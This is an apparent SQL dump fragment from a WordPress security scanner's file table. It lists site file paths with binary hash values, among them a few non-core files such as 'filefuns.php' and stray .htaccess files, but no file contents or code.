('7{߉L!','wp-content/plugins/loginizer/main/admin.php','/home/trevorkl/trevorklee.com/wp-content/plugins/loginizer/main/admin.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',' bw8`)k1',')/ /ێ(ԥWd&B.LG9','',0,'?'),
('!@|4n','wp-includes/class-http.php','/home/trevorkl/trevorklee.com/wp-includes/class-http.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','WQK\rtǝh<','ajEXOtf};g$خ44Ѵ','',0,'?'),
('\'ڞ\0;?+VҪ','wp-admin/network/edit.php','/home/trevorkl/trevorklee.com/wp-admin/network/edit.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','=#LH','q/*߲3xS~.\']wk,W','',0,'?'),
('1	r^','wp-content/themes/twentytwentyfour/patterns/gallery-full-screen-image.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/patterns/gallery-full-screen-image.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','C\\kjQQj','|)G^ExA\\J\"e`1','',0,'?'),
(';pR9+qpծ','wp-admin/includes/options.php','/home/trevorkl/trevorklee.com/wp-admin/includes/options.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','z±wUWع0','M灌o3],~G54$l','',0,'?'),
('?|꺯~x','wp-includes/blocks/query/block.json','/home/trevorkl/trevorklee.com/wp-includes/blocks/query/block.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','kl','s/y>O\'67/ז\"[ ','',0,'?'),
('LKo> 1r','wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-ExtraBoldItalic.woff2','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/fonts/literata/Literata72pt-ExtraBoldItalic.woff2',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','j;eaz#XM','x$pbrcn\'Vu:\n]Y\ZW','',0,'?'),
('Ng	:y%*t','wp-content/plugins/wordfence/css/wordfenceBox.1788880300.css','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/css/wordfenceBox.1788880300.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','CWY~H#]','r{\ZI5O1QӇC','',0,'?'),
('h#ƕdLUh','wp-includes/js/dist/script-modules/interactivity-router/full-page.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/script-modules/interactivity-router/full-page.js',0,'D995','D995','\\sq@-pP~7Jq?7O>	E','',0,'?'),
('ro3}\n{FgY','wp-content/plugins/wordfence/views/scanner/text/issue-publiclyAccessible.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/views/scanner/text/issue-publiclyAccessible.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','h%c+o','AN&<0U$kI!=_^8L','',0,'?'),
('xm\0~','wp-includes/customize/class-wp-customize-nav-menus-panel.php','/home/trevorkl/trevorklee.com/wp-includes/customize/class-wp-customize-nav-menus-panel.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ϩGhUH%b','l<UqThi/7\0}JgWb','',0,'?'),
('܈y7@\"','wp-includes/blocks/audio/editor-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/audio/editor-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','P⋎m{tmo','}/14o|&X1ͦO8	7:a','',0,'?'),
('lg<=l','wp-content/plugins/akismet/class.akismet-widget.php','/home/trevorkl/trevorklee.com/wp-content/plugins/akismet/class.akismet-widget.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',',1,7%@BI0|c','0\'`5ﷸrӱݨoJƐ]OLԳ','',0,'?'),
('[2S?dD','wp-includes/class-wp-phpmailer.php','/home/trevorkl/trevorklee.com/wp-includes/class-wp-phpmailer.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','k1{[J','_3kls\n7Qq6ٖ5=k','',0,'?'),
('Ú2d=','wp-includes/rest-api.php','/home/trevorkl/trevorklee.com/wp-includes/rest-api.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','׮cUIJeϕ','bm\"z:HWZjs#аg','',0,'?'),
('P\0\'0lv#J<','wp-includes/js/jquery/ui/effect-fold.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/jquery/ui/effect-fold.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','R3*0:Oh','6?Ǩz\\,ܨ6','',0,'?'),
('}TkS3q','wp-content/plugins/wordfence/css/wf-ionicons.1788880300.css','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/css/wf-ionicons.1788880300.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',' d֠4zqYN,j','͍\Zu*7g!cL','',0,'?'),
('Ȅxy','wp-includes/js/tinymce/skins/wordpress/images/embedded.png','/home/trevorkl/trevorklee.com/wp-includes/js/tinymce/skins/wordpress/images/embedded.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','pNy~n\"','{ux\'Jº@i\"H;]6h','',0,'?'),
('58L(9 |n\'','wp-includes/blocks/comments/editor.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/comments/editor.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','u$.3oQӷ0','5lhv4ԮA.>EXʊK_A','',0,'?'),
('ϴ 3P`#8^Z','wp-admin/css/colors/coffee/colors.css','/home/trevorkl/trevorklee.com/wp-admin/css/colors/coffee/colors.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','E!Ӗ	`Dr A','ىړtZT5z4HmBe\r<7','',0,'?'),
('G#;\"L%','wp-includes/blocks/categories/block.json','/home/trevorkl/trevorklee.com/wp-includes/blocks/categories/block.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','|\0\r聝','նUb%Æ(x8 2pV','',0,'?'),
('\0,#heLG(}','wp-includes/blocks/query-pagination-numbers.php','/home/trevorkl/trevorklee.com/wp-includes/blocks/query-pagination-numbers.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Xk.ImdyR','d4ErNs>7\Zdl`qi','',0,'?'),
('\"N߬jj)\0N','wp-admin/images/menu-2x.png','/home/trevorkl/trevorklee.com/wp-admin/images/menu-2x.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','jG{>^;$','2]y#h29> ^s\rH	\ng','',0,'?'),
('3XG%<!>','wp-includes/blocks/pullquote/editor.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/pullquote/editor.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','7^,m\"-v','++(x[iALF=h5&}`z','',0,'?'),
('9*ICc','wp-includes/blocks/post-excerpt/editor-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/post-excerpt/editor-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','9aN4=\r^','~ŪAWw@7vz4_','',0,'?'),
('pTDrTL','wp-includes/css/dist/format-library/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/css/dist/format-library/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('q_\"1F','wp-includes/rest-api/endpoints/class-wp-rest-taxonomies-controller.php','/home/trevorkl/trevorklee.com/wp-includes/rest-api/endpoints/class-wp-rest-taxonomies-controller.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\\܋G<?AQ]','H![f\r`vhF\"#2.?(','',0,'?'),
('s&^\"WD=','wp-includes/blocks/query/view.asset.php','/home/trevorkl/trevorklee.com/wp-includes/blocks/query/view.asset.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','xIS_t\\%^','\\Z?;\n4cwMz:`?0j,N#','',0,'?'),
('tZQYz0跫','wp-admin/images/wordpress-logo.png','/home/trevorkl/trevorklee.com/wp-admin/images/wordpress-logo.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ưyo88S`','bxLPͰ=^am1i','',0,'?'),
('yvtTP5-+`1','wp-content/themes/twentytwentythree/templates/404.html','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentythree/templates/404.html',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','%\"ښ\'&..','by&>#ᎀR\Z]j_','',0,'?'),
('EJ7^D *U6]','wp-includes/sodium_compat/src/Core/Base64/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core/Base64/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('ebWA0d','wp-admin/images/comment-grey-bubble.png','/home/trevorkl/trevorklee.com/wp-admin/images/comment-grey-bubble.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Y*\'tF','7	y񮌬U{ԟ`]m','',0,'?'),
('=cJ\':\\.','wp-includes/blocks/accordion-panel/style.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/accordion-panel/style.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','XP\0HF0:','KĒu&q2Y+-Q1Usa(JL','',0,'?'),
('[4?s','wp-includes/css/dist/block-library/editor.min.css','/home/trevorkl/trevorklee.com/wp-includes/css/dist/block-library/editor.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',':pۼY!','\0DK	^C#GBҸ','',0,'?'),
('@tS(l','wp-content/themes/twentytwentytwo/package.json','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/package.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','khjq\\_','\0AѪ5%&,`**\0:','',0,'?'),
('JuHp','wp-content/themes/twentytwenty/template-parts/pagination.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwenty/template-parts/pagination.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Z\rp4','Pa8z*ZwPw3[U#`+}$','',0,'?'),
('Ia\n؎a','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core32/Curve25519/Ge/P2.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core32/Curve25519/Ge/P2.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','>\Z\Z+,','*y$MQ[q:h\")XTC\0\\k','',0,'?'),
('@nH Ag','wp-content/themes/twentytwentytwo/inc/patterns/general-featured-posts.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/inc/patterns/general-featured-posts.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\nDw9`|','6=\'1pMϺ}v\"e$','',0,'?'),
('	eحVMy','wp-includes/blocks/rss/style.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/rss/style.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','/v\nt60r','DA&G滹9h^py','',0,'?'),
('%ue\\','wp-content/themes/twentytwentyfive/styles/sections/section-3.json','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/styles/sections/section-3.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',',76)0,!Ag','.f/8\ZFF{3PBJY|M','',0,'?'),
('mqPoD0*L','wp-content/plugins/wordfence/lib/wfRESTAPI.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wfRESTAPI.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\\8H mi+','++Ɵ0͂b=[㜁','',0,'?'),
('|ߘ/	~V_E','wp-content/plugins/akismet/_inc/akismet-admin.css','/home/trevorkl/trevorklee.com/wp-content/plugins/akismet/_inc/akismet-admin.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','6=QL\0$','u\n.T6h4oT170}','',0,'?'),
('\Zpe5\'<','wp-content/themes/twentytwentyone/assets/sass/07-utilities/print.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/07-utilities/print.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',' \\`qD@9~','1*z+z6(cVϙ{Vշ','',0,'?'),
(' ,eOzÑ','wp-includes/customize/class-wp-customize-site-icon-control.php','/home/trevorkl/trevorklee.com/wp-includes/customize/class-wp-customize-site-icon-control.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','o#/v','Y$B[dU','',0,'?'),
('\'N8_\n\"h','wp-includes/blocks/comments-pagination-next.php','/home/trevorkl/trevorklee.com/wp-includes/blocks/comments-pagination-next.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','MC_R=<R','	a\"Q+ڏ%m3{p','',0,'?'),
(',5XpBFdcj+','wp-includes/js/dist/vendor/lodash.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/vendor/lodash.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','2<(-yi*O','\nfh $L7:8gJ?[@yHG','',0,'?'),
('7c-kЄ\"`k','wp-includes/blocks/html/editor.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/html/editor.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','3tcm0תy','^q]CɠBԏn p>ZF;','',0,'?'),
('F!@15lK,L','post-new.php','/home/trevorkl/trevorklee.com/post-new.php',0,'{wG^\Zl','{wG^\Zl','=[IVsB_KRCɍӘ\'#','',0,'?'),
('NǕtNbƴ','wp-content/themes/twentytwentyfive/patterns/template-single-news-blog.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/template-single-news-blog.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','=a\'ݳ7ޒ','\r !d29bxm','',0,'?'),
('Q (;ؠ|~R8b','wp-admin/includes/user.php','/home/trevorkl/trevorklee.com/wp-admin/includes/user.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','b\0*q&Mkl},','Do],lӌ\\ԓF;I3o','',0,'?'),
('T]\\g4źuP;','wp-admin/css/admin-menu-rtl.min.css','/home/trevorkl/trevorklee.com/wp-admin/css/admin-menu-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','⊿w	=NjJ]','}DUFa_/@','',0,'?'),
('bpA+-+ʉ','wp-admin/js/widgets/text-widgets.min.js','/home/trevorkl/trevorklee.com/wp-admin/js/widgets/text-widgets.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','(<M}Z?w','l!O^l@X(SqVO}QtW','',0,'?'),
('b͕+f3c','wp-includes/blocks/latest-posts/block.json','/home/trevorkl/trevorklee.com/wp-includes/blocks/latest-posts/block.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','[PC[Q;5:>','u̿$$\"-SQe,j|zhO~@I','',0,'?'),
('IZBL3x	x@','wp-includes/SimplePie/library/SimplePie/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/SimplePie/library/SimplePie/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('%bQbM<x','wp-includes/js/imgareaselect/border-anim-h.gif','/home/trevorkl/trevorklee.com/wp-includes/js/imgareaselect/border-anim-h.gif',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Z,ntZ^6{Lp4','qschm-%x\ZBx\'E:','',0,'?'),
('-6Yw@i=','wp-content/plugins/wordfence/modules/login-security/classes/model/text/html.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/classes/model/text/html.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','OhO<FҬ','PJHtNsnd*F\'WWaq]','',0,'?'),
('0,X','wp-includes/css/dist/edit-post/style-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/css/dist/edit-post/style-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\0j/ߡchp','8<ϸ8HħV\ZRM|їu+v','',0,'?'),
('\r5 -|˃I\Z','wp-content/plugins/wordfence/vendor/wordfence/mmdb-reader/src/Database.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/vendor/wordfence/mmdb-reader/src/Database.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',':?좑.\'\0C','Y9ƣYl-[	\Z/','',0,'?'),
('ۣ#z;\n\\H,','wp-content/plugins/wordfence/lib/wfScanFileProperties.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wfScanFileProperties.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',':\'B(\Z6]^',' (&f;(JsU\\`','',0,'?'),
('i)33ܥs*','wp-admin/includes/class-wp-ms-users-list-table.php','/home/trevorkl/trevorklee.com/wp-admin/includes/class-wp-ms-users-list-table.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','}6<饩ݣJC]o','X;{)SQZF=偏p0)','',0,'?'),
('\r@VÐ疾y','wp-content/plugins/simpletoc/index.php','/home/trevorkl/trevorklee.com/wp-content/plugins/simpletoc/index.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','猃\ZY:^','ǹ} L`L\n>WRk\"DL','',0,'?'),
('\r<>ѽ~ nO','wp-includes/SimplePie/library/SimplePie/Content/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/SimplePie/library/SimplePie/Content/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('!\\sUG','wp-content/filefuns.php','/home/trevorkl/trevorklee.com/wp-content/filefuns.php',0,'p$1yo4_S*@','p$1yo4_S*@','Z sN_<Ɋi˻X\'\ZF7','',0,'?'),
('#L8{Z','wp-content/themes/twentytwentyfive/patterns/cta-centered-heading.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/cta-centered-heading.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','u2yګ*%[	','wC;r|{ݾg)tS','',0,'?'),
('&.9/Z{˽','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/lib/php84compat.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/lib/php84compat.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ʂ8v','lٚq6d`NA( ','',0,'?'),
('KK5Da','wp-includes/blocks/term-template/style-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/term-template/style-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','n.#A0TD','xÆV,JntvȑI','',0,'?'),
('O~	!','wp-includes/css/wp-block-template-skip-link.min.css','/home/trevorkl/trevorklee.com/wp-includes/css/wp-block-template-skip-link.min.css',0,'aVvFg','aVvFg','8AB(M _ ?dI2H','',0,'?'),
('i[曍R큭','wp-includes/css/dist/media-utils/style-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/css/dist/media-utils/style-rtl.min.css',0,'k窹#՚#AyH','k窹#՚#AyH','꠶`AhVS2T','',0,'?'),
('o	lѴcd','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core32/Curve25519/H.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core32/Curve25519/H.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\n@LjwD','\r8d8sڇ6FȌ','',0,'?'),
('u6wݱ','wp-content/.rs_g3/index.html','/home/trevorkl/trevorklee.com/wp-content/.rs_g3/index.html',0,'ُ\0	B~','ُ\0	B~','Bșo$\'AdLxRU','',0,'?'),
('x|sKa','wp-content/plugins/wordfence/views/common/page-help.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/views/common/page-help.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','!YJJk','\Z=DBא	%%A?Ow*/~u','',0,'?'),
('#	>7','wp-includes/js/tinymce/skins/wordpress/images/pagebreak.png','/home/trevorkl/trevorklee.com/wp-includes/js/tinymce/skins/wordpress/images/pagebreak.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ImLWyݓH','\rflդ/;l\\\\.6r#P[','',0,'?'),
('ăfHH','wp-includes/blocks/navigation/style.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/navigation/style.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','-y]rs֎(','ٜ~PI>Ǚ5n߲f?\'g','',0,'?'),
('ņLGP(Ήȯ','wp-admin/js/widgets/media-widgets.js','/home/trevorkl/trevorklee.com/wp-admin/js/widgets/media-widgets.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','rcFﱭC\"[','%*e \'>\\ܲBI','',0,'?'),
('ܱ\'Q\Z\'6(','wp-content/themes/twentytwentyfive/parts/header.html','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/parts/header.html',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','&kS4ow','QykԿ(Qd׿.&Oj!J{','',0,'?'),
('&	AH)I&','wp-includes/js/dist/vendor/moment.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/vendor/moment.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','W$ob\\fiY','Do JuhH:4}h;E','',0,'?'),
('cYF}j`','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core32/Curve25519/Ge/P3.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core32/Curve25519/Ge/P3.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','3b(浏К','n;<	Ǖ-Wt]<su','',0,'?'),
('@','wp-content/plugins/wordfence/views/scanner/text/issue-spamvertizeCheck.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/views/scanner/text/issue-spamvertizeCheck.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','rq\"v','\">~3RH\0!b1Z6,G^3W	','',0,'?'),
('Ԗr2bJ','wp-admin/js/site-icon.min.js','/home/trevorkl/trevorklee.com/wp-admin/js/site-icon.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','2ԽǍ|+','o/IPixԼ6ԕxU[!	','',0,'?'),
(' \"zwL ','wp-includes/blocks/comment-edit-link/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/blocks/comment-edit-link/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('&#pJh','wp-content/plugins/wordfence/views/scanner/site-cleaning-bottom.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/views/scanner/site-cleaning-bottom.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','3Čd<vWJmx','6R3]iJ)o.g1&lJ\"','',0,'?'),
(',!#QP[;','wp-includes/sodium_compat/lib/sodium_compat.php','/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/lib/sodium_compat.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','z\Za,МX$','PW&O!\n[Y<t\n6@=&','',0,'?'),
('7ʊyB','wp-includes/blocks/post-title/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/blocks/post-title/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
(':뭲cRPe(','wp-includes/rest-api/class-wp-rest-server.php','/home/trevorkl/trevorklee.com/wp-includes/rest-api/class-wp-rest-server.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','	s6D','+oR/oQnRX[9-MTO=','',0,'?'),
('KxP0&O:p','wp-includes/blocks/archives/editor-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/archives/editor-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Kx#ksyR<\0-','i˫Y:T`lPO\"b2.\0','',0,'?'),
('e؟v笪Ej','wp-content/plugins/wordfence/lib/dashboard/widget_localattacks.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/dashboard/widget_localattacks.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',' UwYII}','ݠ\rڗUDPTV+6^:2!','',0,'?'),
('k\0\Z{ ݛ6','wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php','/home/trevorkl/trevorklee.com/wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ǔ5Qv&','v]6?(r>(&8F]8EI','',0,'?'),
('kbgS','wp-includes/js/tinymce/plugins/wplink/plugin.js','/home/trevorkl/trevorklee.com/wp-includes/js/tinymce/plugins/wplink/plugin.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','LY(Lcs','~[jf$Hgl69YڛT','',0,'?'),
('vnٜY	4JyKm','wp-content/plugins/wordfence/lib/audit-log/wfAuditLogObserversWordPressCoreSite.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/audit-log/wfAuditLogObserversWordPressCoreSite.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\'N<|Φ0','g%y9q=ﾵSx՞','',0,'?'),
('uޑpk0a','wp-content/themes/twentytwentytwo/assets/fonts/ibm-plex/IBMPlexSans-ExtraLightItalic.woff2','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/assets/fonts/ibm-plex/IBMPlexSans-ExtraLightItalic.woff2',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','@-mbja','(kɗɌ0\"v e]]k','',0,'?'),
('57D;TkC','wp-includes/blocks/social-links/editor-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/social-links/editor-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','_%a$','! ƨde	_CSD-:m','',0,'?'),
('g~w\Zhh','wp-admin/css/themes-rtl.css','/home/trevorkl/trevorklee.com/wp-admin/css/themes-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','գo_=Wor\0t','ü}e\nUMYB$DmgqO>zH','',0,'?'),
('B\r1','wp-content/themes/twentytwentyfive/patterns/page-landing-event.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/page-landing-event.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','IBp!7lJޢ','V\'N[#x)S<3<?_0W-|','',0,'?'),
(' \\ix(0','wp-includes/blocks/text-columns/editor-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/text-columns/editor-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','++R\r','$Y|eqЍu\0dfDbtF^	T','',0,'?'),
('ͥ`FJSu','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core32/Curve25519/Ge/P1p1.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core32/Curve25519/Ge/P1p1.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Kz+UŸ(5\\','8:oI9,=zDk8;{A{\Zij','',0,'?'),
('|ٻ\';l͗','wp-content/themes/twentytwentythree/templates/page.html','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentythree/templates/page.html',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',',s1D	\0','12֠\"]K9lψ#N:','',0,'?'),
('	QW~-\0d','wp-includes/class-phpass.php','/home/trevorkl/trevorklee.com/wp-includes/class-phpass.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\neI-c	$.NE','B4)eU,9kp>*}[d','',0,'?'),
('	?quM','wp-includes/js/mediaelement/mediaelementplayer.min.css','/home/trevorkl/trevorklee.com/wp-includes/js/mediaelement/mediaelementplayer.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','	5)ky~','_Dt3ג3pa;9,\nigC?3','',0,'?'),
('		6sppG6C`','wp-includes/js/dist/script-modules/block-library/tabs/view.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/script-modules/block-library/tabs/view.min.js',0,'RI 8','RI 8','.:mZ{\rwŎϳzXNs','',0,'?'),
('	%O-Eg18','wp-includes/sodium_compat/src/Core/ChaCha20/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core/ChaCha20/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('	,/Օ!gyd','wp-includes/js/media-editor.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/media-editor.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','nu\'s\0@','.eXwh!st3H\\&3-#','',0,'?'),
('	2p<(X\"ݵ','wp-includes/blocks/audio/style-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/audio/style-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','CuȀc4B)','(4KqbQX{d*P\nz','',0,'?'),
('	7f	`','wp-content/plugins/wordfence/images/sort_both.png','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/images/sort_both.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','dm	8f|Y','~%ۉ%>BlouI)ȉ7g','',0,'?'),
